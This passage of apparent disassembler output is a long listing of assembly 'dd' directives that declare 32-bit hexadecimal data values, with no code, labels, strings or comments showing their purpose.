		dd 39677BB1h, 66D3E1A0h, 10F4E9CBh, 5B426AA8h, 5C51DE37h
		dd 0D7EB3F5Dh, 79625D9h, 0FFBC2BC8h, 0C4B831BAh, 949850F9h
		dd 98139019h, 0ED056CCDh, 99E76A3Dh, 75A7BDA9h,	152B242Ah
		dd 0E08AAA92h, 37D0812Fh, 4EA1BC88h, 5D43C24Bh,	91489B75h
		dd 7BD9A8ACh, 4B02937h,	0A28FE2C3h, 971B0C86h, 6B26AE93h
		dd 2298A47Dh, 640BC4Ch,	0E801FC1Dh, 298FE1A1h, 7AE29B73h
		dd 0A49E13ADh, 0DCDBD028h, 27371539h, 70B9E1FCh, 0DEA888A3h
		dd 91251255h, 7140F2C1h, 0EF81309Bh, 76882A69h,	0ADFCD9A4h
		dd 48877FE6h, 0B9A992B0h, 0C01AB43Ah, 2E523819h, 0D6648FBBh
		dd 9EA28662h, 0A98754B8h, 0EA375A87h, 65858316h, 1ED63FADh
		dd 0D53E723Bh, 91774772h, 1A37D19Ch, 1305ADF8h,	0C3831967h
		dd 0C659C678h, 94F83157h, 0A2BEBB0Bh, 7B016958h, 7E640063h
		dd 970570DEh, 0CBF4F885h, 52B3A4BBh, 38C8A2DCh,	0CA16620Ah
		dd 1544FB5Ah, 0E2467B39h, 0DF7D2053h, 0F9145349h, 690C9B1h
		dd 0DC8AD6EBh, 0D9CB2DECh, 156B1412h, 4205A1FAh, 34C79561h
		dd 94FCDB98h, 0F8E449EAh, 0FAB22400h, 0FAF31898h, 66C47D85h
		dd 25245CE6h, 37DCBCD7h, 0CF404496h, 58C3BD9Ch,	9935237Dh
		dd 8A1F8B0Ah, 34335640h, 1EE39171h, 7C3B5F9Ah, 0E39EBDCCh
		dd 0E16C74BDh, 0F61BF709h, 54EF85CDh, 22AE22CDh, 0E5EFA7C2h
		dd 1A1F77CBh, 3AE8B78Ch, 0D66E9CF5h, 58DFDAC9h,	4FAF9F93h
		dd 24543F57h, 13874EF9h, 2C4962B5h, 877102D8h, 0ECB3E3EBh
		dd 33DA36DCh, 1CBD1AE8h, 0F7A81373h, 42A25972h,	31934641h
		dd 0DA26A76Fh, 2A6BAC94h, 0D5F0F265h, 0A774A005h, 0D8548525h
		dd 1CABB9CCh, 3CB0DDC2h, 0E3F07BD4h, 7DDB898Fh,	82BD90E6h
		dd 8FD1CAF9h, 5063F9B4h, 815502C7h, 24EBCEEDh, 0B4D6631Fh
		dd 2D45D521h, 0DD09CCE9h, 8AC9E069h, 93462FC5h,	578C6737h
		dd 5630C55Bh, 84F63473h, 0B2900743h, 0FFC5A5BAh, 0BCE536A9h
		dd 9E271A64h, 3145B192h, 0B716A3F7h, 5C1663Fh, 6AED6A8Bh
		dd 0DC13A45h, 8E872578h, 4CC81D0Eh, 8258960Fh, 794108B3h
		dd 0B993056Eh, 0EFACD2EEh, 5AC7F4BDh, 0BE150E41h, 0CB5F93F6h
		dd 486EF8A3h, 35E521B4h, 0DAEEBD7Dh, 0ACABFD64h, 0EEB1CE1Ch
		dd 6FB8FE93h, 0F09CC221h, 2F2ED7E3h, 42A31A8Dh,	0CF7AFF8Fh
		dd 0B23C941Fh, 48FD5477h, 49A06392h, 5FF5352Fh,	48CE4954h
		dd 0A609E70Dh, 0C4890B44h, 74E250C0h, 589E2062h, 976673F1h
		dd 3E9D6223h, 7E6C1DA8h, 9BDE07F1h, 95F814CDh, 0D94F6836h
		dd 57A84ECEh, 636C0D27h, 47FBCB1Ch, 5267B7EAh, 22F83ADDh
		dd 75BE0916h, 0C222F5FDh, 8AAC738h, 0C8BC8415h,	0DA3B28FFh
		dd 0B2F689BEh, 61992E0Eh, 0ADDE681Ah, 0F442C190h, 9E617558h
		dd 8A03210Ch, 8D5A6929h, 6EFE8961h, 0E129D56Ch,	7B11FEE1h
		dd 0AFDE40A0h, 0BFC4AB92h, 29E7D84Dh, 69850425h, 0CF21D55Ah
		dd 0A858D979h, 79C467AFh, 755B57BCh, 50D30A7Ah,	0E758898Ch
		dd 536BE66Fh, 6924BF74h, 3FD43253h, 0DBB884A6h,	88D12323h
		dd 2B5D2621h, 3A055BD2h, 71ABB680h, 0D5D50844h,	7B79F206h
		dd 0B4BEBC59h, 45BB033Eh, 1F091587h, 0E8E799B2h, 0CACB285Ah
		dd 3713E8F1h, 95B134FDh, 0A1462F8Ah, 97ED2B62h,	94D9D21Bh
		dd 0F039F6E6h, 0E6B240Ch, 9036E941h, 910B6D35h,	7C9AA951h
		dd 0CC54D594h, 0BAFF514Bh, 0AE098BA8h, 8C2C6785h, 0E4DF509Ah
		dd 48F9ACCAh, 32C9EC0Ch, 34FC3352h, 0DDAC4E4Eh,	0B5A2AE98h
		dd 611DB1CBh, 51532F0Dh, 0D5590BA7h, 0B05B3022h, 5F057152h
		dd 0BEB1D17Eh, 209F0330h, 6B2CEABBh, 0C18E785Fh, 0A13E58A0h
		dd 916ACEFDh, 432C6DF7h, 0F795C43Ch, 0BEA73B86h, 73260Ah
		dd 132A9629h, 0D242A4F6h, 0A436DEA2h, 1D31F90Dh, 0D654D066h
		dd 0C6910DDBh, 0B5FB1226h, 60B50B9Eh, 0EE48103Ah, 0CE685A9h
		dd 0E9B80197h, 18CF5FA5h, 506EC694h, 31C4EAB1h,	0FAE9FC6Bh
		dd 0CDBDE1B8h, 9E2AC2B7h, 7DCC672Eh, 0F1D870A4h, 9D461898h
		dd 9F454AACh, 6864AEAFh, 6D243FD6h, 6F485582h, 61E1F4B8h
		dd 0AAFB1042h, 0EC290B81h, 0B2147C2Bh, 62CA7D2Ch, 0D0A86710h
		dd 5357936Eh, 0ACCAFE89h, 602DB451h, 2E63Dh, 84356035h
		dd 98C364A7h, 52FB3AF2h, 0E4C434DEh, 0C85075BDh, 5041473Fh
		dd 0C6FF921Eh, 518248A6h, 0C32A104h, 1BC7EF90h,	70CEE5B7h
		dd 0CC6F2655h, 0C40338B7h, 462EDD31h, 0A76822A0h, 0E7F13393h
		dd 0F8975A3Bh, 3FC0B232h, 5F23D038h, 0B228294h,	897EF2B3h
		dd 2EE4B7B2h, 0B0BC39A2h, 0B62ED53Bh, 1872CA9Eh, 423A5CF4h
		dd 54EB6CB8h, 16706CF0h, 0B07F6A46h, 0BA23D9F3h, 47D40A1Eh
		dd 0F1AC0D68h, 0EE9C29CCh, 56710F63h, 18030E79h, 5C09EE2Ah
		dd 32B64534h, 0A193EDDDh, 629F2EC8h, 998B2C38h,	0D6516B61h
		dd 0B1B64C4Ah, 23ABF45h, 0CA3021A5h, 41F3BC61h,	0F8624C86h
		dd 0CD343B03h, 0C86F788Ch, 2C2F8181h, 0C7DB1D2Ah, 0EDCE8F3Bh
		dd 0A04CAE67h, 0B1DD8510h, 3B5FE75Eh, 0CE1A18Dh, 710794F8h
		dd 0F40918FAh, 7B5A45DCh, 4F0AE7B4h, 0A9392BC5h, 9D2EB714h
		dd 0AAFBB36Fh, 50DA7D94h, 6F04B4C5h, 5BBB5F56h,	0EE9ABC6h
		dd 0A2EDF19Ah, 9CA1D9CEh, 8D060B45h, 0C84FC1E7h, 228D000h
		dd 48756A22h, 49BAE0F2h, 0A397E99Eh, 0C6F0E88Bh, 0A14F2170h
		dd 5A999CFh, 0AB964FF5h, 33904864h, 3576FB00h, 4B646C8Fh
		dd 162018E4h, 2375FA45h, 2DD95D3Dh, 737BE003h, 22BCBD02h
		dd 0AE242C68h, 52E72D09h, 1160E42Bh, 0C236AF66h, 3B0DAC42h
		dd 95DFD07Eh, 85BDAEECh, 7C2955A7h, 807694D8h, 6F155806h
		dd 0FB320CFBh, 9243825Dh, 0AFFB808Ah, 0DDADD461h, 0CF57A966h
		dd 710593B7h, 0DCDAAB5Bh, 5C7A3AA6h, 62848D1Ch,	96C75167h
		dd 75C00CD6h, 340D8E03h, 9D295672h, 0F6A0D5C7h,	68440A28h
		dd 0F57ADB2h, 0D808E183h, 7A3E5980h, 0CCEA6D02h, 8B04CC7Ah
		dd 0DE54F886h, 0C32EDB71h, 0B6E12427h, 946FCCB2h, 0C7376772h
		dd 8AEFD576h, 9CD0FA98h, 99619EADh, 5E42DB79h, 5AE8C038h
		dd 0ADB9D98Fh, 0C4820C12h, 0ADA3C3AFh, 0D7C29F45h, 0B33EDF80h
		dd 94923D09h, 66417E82h, 0ABAD4DEFh, 3EF725ACh,	0E29F573Dh
		dd 0A29E9F65h, 2AB0DA8Eh, 10258177h, 10943D7Ch,	0FA26A8D2h
		dd 7728B2h, 0A5430CFh, 13EDB6ACh, 559410D1h, 59FB53E5h
		dd 8DC4F1F4h, 9FE22E45h, 7AC9F173h, 0FC3622A6h,	5BB1E76h
		dd 601FD084h, 0DA919B70h, 0FAA489Bh, 0BE1005CEh, 7CD64B89h
		dd 0CD24CA19h, 8A1AC678h, 0A3447B9Ch, 0E2B5702Ah, 0A541B5EDh
		dd 1830C2EDh, 800F5E28h, 0B8CA686Fh, 267F54B9h,	57570E77h
		dd 25BE93B0h, 0F75600AFh, 0E33E8B72h, 0ECAD9A5Fh, 91D5C272h
		dd 99FAF240h, 105F2A3Fh, 0E44A36ACh, 0F18A7A7Ch, 0E9A76430h
		dd 0A5A3B276h, 0CB1CAC2Bh, 54611EE6h, 0D261D6D5h, 0CE182AECh
		dd 86913A0h, 813A8F48h
		dd 0BDA267CAh, 5CDD8C5Bh, 56E393DDh, 0AED83B2h,	0CC9D07F1h
		dd 58BAB2A3h, 0FC65AFCBh, 0FC0407A6h, 0B6CB33C8h, 0F2F2F658h
		dd 35849633h, 73C3614Dh, 67203CE8h, 0D84A2973h,	0AB1B8D19h
		dd 7FD5F7ECh, 7EA36145h, 628DE58Ah, 25079EC9h, 6501BF97h
		dd 0BF8DBE0Bh, 6080056Ch, 0ACE7BB39h, 0B0AA7A01h, 4BBCDB3h
		dd 0DEA45C28h, 24AEA52Dh, 0C6275D04h, 787246B2h, 7820AF4Fh
		dd 0A873E72Ah, 8286FE00h, 0C3F27FF4h, 1CBF9981h, 4230195Bh
		dd 0BFA50787h, 4E88ECD0h, 0F9021E10h, 0BC458C7Eh, 76AF4D52h
		dd 0EEA8672Eh, 2D9A7765h, 0F1F86588h, 0D4221297h, 85D53BE6h
		dd 5290EA9Ah, 6A73BAC7h, 649A2C6h, 486F6FDCh, 5DB75FF4h
		dd 0DDB07D91h, 4F1BA018h, 17AD6A2Ah, 0A772221Ch, 0AA38158Dh
		dd 6755F0F5h, 7CC19F7Fh, 0FAD77E77h, 3DA17970h,	61EC950Ah
		dd 0E49D2290h, 0F957132Dh, 834E1B56h, 1C8A8980h, 3CE832BCh
		dd 0F349648Ah, 3C6C799h, 5EDEF53Ah, 0BE62E41Ch,	9D57D04Bh
		dd 15A4041h, 537D8825h,	512B933h, 9BEC1AEh, 1C13A8EAh
		dd 0F8CC4F49h, 0A3E96992h, 0A2E39032h, 54E74E9Fh, 0D5D7CDD8h
		dd 9901EDEFh, 7CC777D3h, 8B8E68C6h, 5EBBD97Ah, 0AA1C942Eh
		dd 5F052B58h, 3ACFB008h, 85F65782h, 0F06D491Eh,	945A134h
		dd 9B540E24h, 64148EBCh, 0CA64EFDDh, 0E1910880h, 33225D81h
		dd 0CC0F714Fh, 170FB64h, 70E50106h, 0BEB07FEAh,	6B17E60Dh
		dd 32525EFDh, 0F730EAFBh, 94951663h, 0ACA31E15h, 9A69723h
		dd 1075FB71h, 0A591A646h, 0F8C8E053h, 1F6C918Ah, 0D903B7D0h
		dd 70CB1206h, 0E9F830E2h, 0EBC54756h, 0B597161Dh, 64A71334h
		dd 0F2397DB1h, 0DCE552C1h, 59A2F38Dh, 0B81506DCh, 1D2A0D77h
		dd 4D0C0373h, 0C1211BFFh, 25E9F09Ah, 4A335045h,	0C4F389Ah
		dd 0E7EC38DFh, 7A6C9885h, 0EF19A0E6h, 0EE9EF18Bh, 0D9757E43h
		dd 1C33310Bh, 0B90EF0DBh, 8F3F4023h, 4F28A993h,	66B856ABh
		dd 280E3C3Fh, 2E0DC9A9h, 5990AAD0h, 887E1296h, 0DAF7AD45h
		dd 1D58EF6Dh, 2B56086h,	26B1F5BDh, 2ACD00Fh, 13C3ECD9h
		dd 0EAB78A41h, 6A63A607h, 0F43B6572h, 6BBD52BBh, 456F934Dh
		dd 6CECE058h, 0BF7EB796h, 9B3344E8h, 0F97D13E9h, 0D8621D63h
		dd 0A975D6A6h, 1F61DA3Bh, 8D647EA5h, 28525649h,	0EDBADFBDh
		dd 3CFF030Ah, 0FA2A3F1Bh, 788C5D46h, 944737E1h,	2BD80091h
		dd 261E82C0h, 30EEF518h, 0C2B09948h, 0FE3F435Eh, 0C7BC4281h
		dd 0CFD787BBh, 0A32D39F4h, 64BA243Eh, 9FE99863h, 0AB6EFB79h
		dd 0B7A212BAh, 9BB4B077h, 0C75C8B84h, 3CEB3EB3h, 0A59879BCh
		dd 4C60E1A9h, 0C8D5590h, 0B61EFD83h, 646EB898h,	0A7E65B2Dh
		dd 7FC2AB0Ch, 5A816A82h, 0F123A517h, 0F33D70B8h, 8811B62Dh
		dd 0D47F9AABh, 39207FA8h, 27CD908Ch, 5D41169Bh,	842D24Eh
		dd 6484608Bh, 0D3D324B0h, 61214891h, 7B480D35h,	0FB76B998h
		dd 432D93D1h, 62B517Dh,	0DFD98228h, 0F99B13C2h,	67E8D7E1h
		dd 63F4E716h, 2F5463D0h, 1A4C5A0Bh, 98D0DB0Ah, 0B6D1A6BDh
		dd 0CA06450Ah, 0D262ED53h, 42A62D9Ch, 4F506F8Ah, 6CCCA437h
		dd 7A8B6F2Bh, 2595DB91h, 0B79B9E71h, 8C83FB96h,	9EA4ACBDh
		dd 91405DF0h, 0DD6C4151h, 0BD62D8D3h, 0BE0E943Fh, 0B766E1BBh
		dd 11AF5D9Bh, 18400D35h, 5EF57736h, 83D04CA6h, 0BD8AB8B8h
		dd 67002C23h, 99396BADh, 7E071A05h, 524ADC8Ah, 0C2860D22h
		dd 40539271h, 771145FAh, 8E6A9AB2h, 1FEF9B41h, 94787791h
		dd 8FA2E827h, 9EC945FFh, 62F36C35h, 29AE4E17h, 0F8EABCF9h
		dd 9DBF4958h, 0F884C90h, 0B65026C9h, 0D6278505h, 0B233A10Bh
		dd 0ED1746DEh, 298C3652h, 0E4345325h, 2590AFA8h, 0E3F45414h
		dd 0A1ADA5FEh, 469895B4h, 0C6603B65h, 3C2FFB67h, 88351B1Eh
		dd 200960B4h, 7F21C750h, 94E2D143h, 0A43A127Eh,	0DFD2DBD7h
		dd 268E1396h, 76ED9795h, 8D0709ECh, 8FD5EF5Dh, 0A6500851h
		dd 66A480CEh, 0E7B5BB81h, 776DC43Fh, 0F58D77BDh, 91B22CB8h
		dd 466A56F8h, 33CC9A1Eh, 0D68FBBEFh, 5D911656h,	0A4C2B18h
		dd 0B411D821h, 0EC065D93h, 7627AAC3h, 0BDFB99FAh, 817CE1DBh
		dd 6FA584A5h, 9918FA0Eh, 6C4ED29Ah, 0FC2EF9DEh,	0AAFC2F0h
		dd 0A82AB852h, 0A6025A37h, 41AE8B42h, 6630CE20h, 11A63D6Fh
		dd 220034A1h, 0BBBB3D00h, 702F095h, 488442F2h, 8BD326D0h
		dd 52AAB225h, 613D6AE2h, 2226BB60h, 97167EB8h, 60706C76h
		dd 7AB1CCCh, 0BD6E3AA4h, 5BB5886h, 0D05AE749h, 0CB4DE150h
		dd 0E599E46h, 0A5386C4Ah, 0D253DD5h, 52CBBDCBh,	15BD2E6Ch
		dd 651330C6h, 0A98B8D7h, 0FC4EFF4Dh, 0E10F6A46h, 0C9C4E0C3h
		dd 4EC11EF9h, 0D9D14B68h, 1ED4532Ch, 965420DBh,	0DABD1D60h
		dd 34C60F14h, 0AEAF4512h, 6A931C1h, 15A7DF48h, 0E3C1F9EAh
		dd 0F3A22B1Dh, 0C1206F52h, 0C0CB1E7h, 0B31FB2F5h, 0EDA4DD82h
		dd 0DE4106Bh, 0F4D8B7C3h, 37FECE48h, 5047A8D4h,	0C00AD86Ah
		dd 0C3ACBB92h, 2371CD73h, 0CE084E0Bh, 0EADDB42Fh, 5FBA22BFh
		dd 15C62373h, 0A5210AFDh, 9ECC4CFEh, 4737332Ah,	6F65C3F6h
		dd 0A66B073Eh, 414E9563h, 6A0FCE96h, 0A7FF539Ah, 0EBDEE759h
		dd 69230A46h, 0BBCDC2E5h, 4703E210h, 0A7E2CCCDh, 0BC5C7B08h
		dd 73969B87h, 0F9351905h, 3D3F6640h, 0CE99BD29h, 0EBEC3EF4h
		dd 8E5EF49Ah, 0A8645CB9h, 13999365h, 0D0D36C8Bh, 0E2B22207h
		dd 10CEDC9Eh, 72B9230Fh, 72F2143Fh, 0BD49DB5Ah,	0B058B49Fh
		dd 0ACB10A54h, 8CDFB2BAh, 1E1937Dh, 7B556210h, 0F60B495Ah
		dd 0C90AFD74h, 396A4CDEh, 4365443Ch, 0B154172Dh, 0A8C0FFAFh
		dd 0BEAA0465h, 1E96EB7Eh, 27CDCC33h, 9FE49312h,	0EB76BC89h
		dd 0DFCA564Bh, 99F4B53Ah, 0A7BDA987h, 0D76DEBA8h, 3D2678CDh
		dd 0B5FD9F71h, 0F273CA9Dh, 545AC19Bh, 5E875C87h, 6D24DEF0h
		dd 0D0089EA1h, 2FDCB379h, 9D7C745Dh, 0C1633BC3h, 4C9FD197h
		dd 4C64958Dh, 0A640B6AEh, 9655CABAh, 2AC1901h, 0F76C26F0h
		dd 0B7DE6FAFh, 0BA698AEDh, 3FB0C994h, 0E2BAB33Ah, 0DAF77709h
		dd 215CA66Fh, 0A5968E50h, 0E8FC2722h, 48067A02h, 0A9ADB6CFh
		dd 0DE37BA84h, 69F22F92h, 959FC731h, 2088335Ah,	0A3531A90h
		dd 0AEF2BC24h, 0CDA7A139h, 0E2752F12h, 0E5D7632Dh, 0D76B613Fh
		dd 9B033B4Fh, 0D9C72EE5h, 0CB068C1Fh, 0D52997B7h, 99EDA4BBh
		dd 4B57A43h, 1FA2533Eh,	775015A4h, 0CB26D733h, 72E0883Eh
		dd 0C3DDBE78h, 4585ED9Fh, 0CAD1490Ah, 86A0EC0Bh, 97BC5D01h
		dd 0F0D0913Bh, 801826F0h, 8A48069Ch, 0F8218780h, 0E35DE5F1h
		dd 4990FC9h, 48DF090Dh,	0E2F1F1DEh, 0BC8C52B3h,	43270830h
		dd 70CC333h, 13518AECh,	51123546h, 1F30A980h, 0A18DDF45h
		dd 0D4BF36D0h, 0A78F2890h, 7CE066C0h, 0BEC4D474h, 47B95BBDh
		dd 9975F725h, 0AD544BECh, 0EF2A23A6h, 0A8817C67h, 5184636Dh
		dd 0DF5D0170h, 7FD3B739h, 87F23590h, 0E29E648Ah, 0D72E6C61h
		dd 82022B9Bh, 0C973577Ah, 40EFE796h, 36533BF0h,	6DCA8BE0h
		dd 350B5DF4h, 1B5CDC4h,	0B042A4A3h, 317DC376h, 338FB962h
		dd 54363754h, 0B17C279Bh, 60EF5AA0h, 59EB294h, 6D3128C5h
		dd 8F9EA9BCh, 0E761D89Ch, 499EFDEDh, 0DC44E38Ah, 0BC986397h
		dd 5268C519h, 0BD9A4276h, 632D186Ah, 8E18A2C9h,	0D1960E32h
		dd 0A45DAFE5h, 629EF830h, 126381F9h, 0C5D859AFh, 0E6BE9B3Bh
		dd 0F2F62EFCh, 0B9620119h, 409BC56Ch, 0B39A7115h, 2A078C4Dh
		dd 0CE8E91D0h, 12E17AB8h
		dd 2234BE27h, 0EE03F621h, 70992E10h, 4540C58Fh,	41E23B40h
		dd 946A195Dh, 8359B3E5h, 202C9A65h, 0A788022h, 0C3BC3E13h
		dd 30E826DFh, 4F0F654Bh, 0C568F9BFh, 0EE8E0866h, 4D756EBBh
		dd 1EEF27Ch, 601086FFh,	0AA94075Fh, 0A6706A1h, 0F40DA891h
		dd 85C772BEh, 1D8F9899h, 7328490Ah, 0DAFBEFF7h,	0CCF37A2Bh
		dd 9D2615F6h, 0A27DD87Bh, 0D8CD6FEAh, 3A5A832h,	52944DE0h
		dd 32571A6h, 0B05E137Ch, 0C0337E1Bh, 0F472CCD1h, 7160D536h
		dd 0AB0BAF46h, 5E5578FDh, 9040FBA0h, 0A9AD138h,	53DC3F3Fh
		dd 0A76396E6h, 9548DD30h, 138DA00Bh, 0A9A67594h, 50B6E86Fh
		dd 0DBB7C825h, 266B29D9h, 0BDD847D7h, 0B5675D1h, 0D7B5A1E3h
		dd 0FB4ABCACh, 0BB5D7409h, 1102F011h, 0B368CDAAh, 0A63C742Ch
		dd 31D7FCCBh, 0CCCF9F42h, 0B61400E5h, 0BF9AC299h, 3A86D3F0h
		dd 0D8CFD3DBh, 780E7980h, 0D98CE79Eh, 0C619CAC6h, 85BCBB74h
		dd 0AA80D5A2h, 6923409Bh, 246F91D7h, 0FF55249Fh, 0BDCD0560h
		dd 4D86F879h, 6C16E7F7h, 3674C24Ch, 0B3738CBEh,	79D70EFFh
		dd 32A7E804h, 90096F65h, 0EFFBDEA5h, 9086B396h,	0B2F32681h
		dd 2F048016h, 7B918812h, 20DBB967h, 5569305Ch, 8AF4EBB8h
		dd 0A440698h, 519A57CEh, 0F5F6495Ah, 2C5FD322h,	0FD037A07h
		dd 4D2D77FBh, 4E0262D5h, 6FC09A3Bh, 0FD060DDEh,	0D8CC5EDFh
		dd 85F95EDBh, 0B0EE786Dh, 0EA02D2E5h, 0C2F619D8h, 40D88C9Fh
		dd 7482C4CDh, 0D0DBE58Ah, 0DDCD3186h, 35076D98h, 0CEDFC89Dh
		dd 0FACE303h, 572D5EB6h, 0D68AD9FAh, 0A8A40F38h, 6B213169h
		dd 2078D4D8h, 13D66BCCh, 391E4006h, 57B8BF01h, 23B17D12h
		dd 55C0D3EAh, 0A1EA3A9Fh, 6EF0AC82h, 8ECDAF5Bh,	96C1EEA3h
		dd 23F0F0AFh, 0D1577013h, 0AAA588B7h, 3A455A97h, 820AB2EDh
		dd 70460C52h, 0E9DD7161h, 0FA880B07h, 5F1A5736h, 0E7E4FBF5h
		dd 0D6F96CAAh, 93E4583h, 0F150FEFh, 8BBA44ADh, 21041229h
		dd 0F4E40641h, 0C9C390B0h, 745B8A48h, 4029101Dh, 0AE85A030h
		dd 454CB01Ch, 3B9C4130h, 0F02AE7Ch, 294EC09Bh, 6089161Ah
		dd 0A8E1C907h, 0D54B542Ah, 525B65F9h, 61C0AAA2h, 0D2ACFB7Eh
		dd 958E1970h, 0FDCF4DBh, 0F8D01B14h, 211E1A9Ch,	46469905h
		dd 2321D4A7h, 0C6D27545h, 0CF9FB3DFh, 803075F0h, 55C5EFA0h
		dd 45AA2C6Eh, 740DC4F1h, 3EB569A4h, 62A40681h, 34F79A75h
		dd 88FC6D10h, 4E447032h, 7F07C988h, 0C9D02DF8h,	10F532Bh
		dd 0F2EA6641h, 2BFAB220h, 0BFB1277Fh, 5409AE5Ah, 0FE6F6AF6h
		dd 0FBC581D7h, 0D84B56C0h, 7C856666h, 80611B4Fh, 0E51D3CFDh
		dd 2C3A5D7Ah, 0FCC8BB34h, 7E77A6EFh, 759A4E4Dh,	8AB5FC19h
		dd 4F903210h, 0B90BDC4Ch, 6940E708h, 0C4E2EC49h, 9B90774Dh
		dd 81CBD41Dh, 0B46D01CFh, 0C73AFD1Eh, 94E0916Dh, 9B9687F6h
		dd 69D084A2h, 0BD666418h, 0D7411DE8h, 95F1B268h, 2E305DD9h
		dd 0D4B62920h, 0DF03D3D6h, 0A6F85E50h, 0E4C24CD8h, 0C912047Ah
		dd 0D67D71AFh, 9CED12Ch, 2500D06Ah, 135A82C2h, 70D8352Fh
		dd 4093C926h, 46996721h, 0C17C3128h, 86E95A38h,	0CDBFA3AAh
		dd 99895C06h, 283DCC1h,	0E2530E37h, 0F49AAF22h,	0F61DD514h
		dd 2FCF2FCDh, 85317AD9h, 0E2531B32h, 0B2D73C15h, 6C065539h
		dd 0FC04F693h, 73207E38h, 0ABCD1B68h, 6944DB26h, 0D47BBB2Dh
		dd 1D8DAB1Ch, 45577136h, 0EB894D45h, 9C6CFF57h,	0FC47E7CDh
		dd 4734EB7h, 4A6B2FEEh,	0C0DC45F0h, 9771FD52h, 84AC7DF6h
		dd 0C964D634h, 0B247785Ch, 98D3CB3Bh, 2923D71Eh, 48D2D6E1h
		dd 65F3DF4h, 0B6280C18h, 729FC5EDh, 1D8A535Ah, 0E8A856CEh
		dd 19AA8217h, 700E446Ch, 7727FC62h, 59E09735h, 0E9710F16h
		dd 711834B8h, 99F9D87h,	4AF86C53h, 3082982h, 0AD6A1128h
		dd 0FAADC1h, 4CE0923Bh,	3661F561h, 2F85BBEBh, 0E81A99BEh
		dd 2AB8F181h, 717B411Bh, 0BD4C9824h, 0D54315B0h, 572A1E6h
		dd 1862F729h, 137ED6Bh,	0A4DA2D4Dh, 454A7888h, 96E1ECE7h
		dd 8489C9AFh, 3EC5F9ADh, 7B4DC83h, 0AD26D5h, 51720FE5h
		dd 0FF27756Bh, 0A10E42A1h, 0ED15EF0Eh, 3E750BFBh, 0DB0D4591h
		dd 83BA3C64h, 0FF62E104h, 299A5395h, 67879AE5h,	0FC43B159h
		dd 0FAF61BEAh, 0B34CF0BEh, 0F198379h, 0BBC0FC39h, 60D71F1Bh
		dd 0D28CF784h, 0AD25699h, 0E42446BEh, 3D5BC389h, 0AA42301Fh
		dd 0D4ED1BF5h, 45E1A19Ch, 646C9E8Ch, 237F38D7h,	8D562968h
		dd 2F161034h, 1C0565D9h, 7D38D2D3h, 483949C8h, 5D8069C8h
		dd 0C5B2E7CCh, 0FF60FBF0h, 89F6681Bh, 0A5EE27Bh, 274DF2Ch
		dd 0FAA9A603h, 1B488583h, 6B01D507h, 9D7D9434h,	4B103B7Dh
		dd 0AC3E92B9h, 0EE5B9B81h, 0DC3C7B19h, 27F0F019h, 845B3686h
		dd 6B030F49h, 0EAFF0ACEh, 56B48347h, 0FB24081Fh, 82A9A7D7h
		dd 0A54B94C7h, 4065CDD4h, 5C427010h, 714E2CB4h,	0F61C31B7h
		dd 0B11E5731h, 0C9DF1FCDh, 0BF7F27CDh, 6BF111B4h, 87AE1F5Eh
		dd 687B90F3h, 0E2AEFE95h, 2397C424h, 57350CEEh,	0E5AD3D50h
		dd 71C620CAh, 0DD161F33h, 0D6A639AEh, 7C2AC213h, 1C6BF448h
		dd 94DE8F7Bh, 0CB92BD7Bh, 9682A88Ch, 1302ADA3h,	94A76A93h
		dd 0D3E8F53Ah, 8C74762Eh, 0F504D99Fh, 3A1BF734h, 2BE346Bh
		dd 0C5117A41h, 0D9752167h, 798D2787h, 16FDD47Dh, 98C8FD30h
		dd 59E438F3h, 0B3089C01h, 737BED33h, 0F4C53EF1h, 6EB0665Bh
		dd 96BB06B5h, 53D07086h, 3DC3EA5h, 0FC0A9915h, 3CDAE7D6h
		dd 0EADDDD0Ch, 16B43508h, 4754BE0h, 7BC131DEh, 0F56BD37Ch
		dd 0DFCD331Eh, 0BB0613E5h, 2B0F02D5h, 5BA3D4AEh, 9C769AE3h
		dd 88C6987h, 545C0459h,	0F194A698h, 0FA448597h,	7E35EEAAh
		dd 6EE5DFCFh, 0D12BD6F8h, 0D35A69Ch, 547EC46Ah,	0DAF65FB5h
		dd 71C3C0ACh, 16D7D2CBh, 726D484Bh, 220222DEh, 0BE37B0B5h
		dd 1BA63BD3h, 4A4B2890h, 5E5FF796h, 520E73B3h, 0EA6A9188h
		dd 41778C3Ah, 3BA5BF54h, 7E9A31C8h, 70CEDF3Fh, 15261A38h
		dd 3D2D98F0h, 0C76E61DAh, 0FFABCE98h, 951EC8A4h, 7783BF4Ah
		dd 99E35C82h, 0A6F69551h, 0A4F6F26Bh, 0AD7B9C27h, 0C8E1CB3Fh
		dd 7838246Eh, 876FCB25h, 908C9D60h, 3C90EF68h, 57A15DF7h
		dd 0D2972375h, 0DAE536E0h, 0CDBB4713h, 0C7576048h, 990704D9h
		dd 8A0318FDh, 65DB1D85h, 0F0976E4Bh, 4E809E49h,	0E7953D75h
		dd 0B39D7390h, 0D00684C4h, 0A749B146h, 0E9044D20h, 1D2BA8CCh
		dd 391B6098h, 78C3154Bh, 2B3C3CF8h, 31824A60h, 2B38B8Fh
		dd 0E01DC26Bh, 0E0FD6BA7h, 2E88E267h, 1EFB048Fh, 308DA1E2h
		dd 0B9688F61h, 62C3F9D0h, 0B0B8F98Bh, 9246BD13h, 7A640705h
		dd 19B3D11Ch, 0EF6850Ch, 0B226D184h, 0F4E55332h, 0EF3FB662h
		dd 0F0CA9238h, 1B8A7896h, 0FA3AF675h, 0A8658BD8h, 50A0AA02h
		dd 0BCD8B537h, 0CD64E8E0h, 62A05291h, 679C3BF3h, 3E1F8CF4h
		dd 7F00CB5Ah, 0E5DC7F96h, 654EFD5Ch, 0C2A3287Dh, 0A75FD03Fh
		dd 833350C6h, 0F005F5CFh, 0DCD129E7h, 0CF46F628h, 87E18EAFh
		dd 523A31A4h, 0CAA37AEh, 75216A00h, 98495B73h, 2459AC74h
		dd 0BA78BFD8h, 94859738h, 0A5E68B3Dh, 648B8FF2h, 29DDA392h
		dd 8EDC451Ch, 8D606FA3h, 8A504E9h, 0F2C955EBh, 20658602h
		dd 0AC688BF3h, 0FF8E6436h, 0A1133466h, 0A5E1B786h, 562CFC8Ah
		dd 0CA40641Dh, 3CE5C4B9h, 0E941EEFCh, 0CC7C0AD3h, 0BE38272Eh
		dd 914ACA25h, 639D20B6h, 374ADCBEh, 27E3850Dh, 0E9C89896h
		dd 5575D085h, 76D778A3h
		dd 2D781F38h, 0C918D834h, 0D3FB37D5h, 0EE8F9450h, 0D1D3F9h
		dd 9FE9F2F7h, 65C11CF1h, 15178773h, 36C7BBBEh, 0A58FAF3Dh
		dd 3130BAC9h, 2043B8CEh, 44FACAE4h, 0DAEA87Ah, 8DF87EE9h
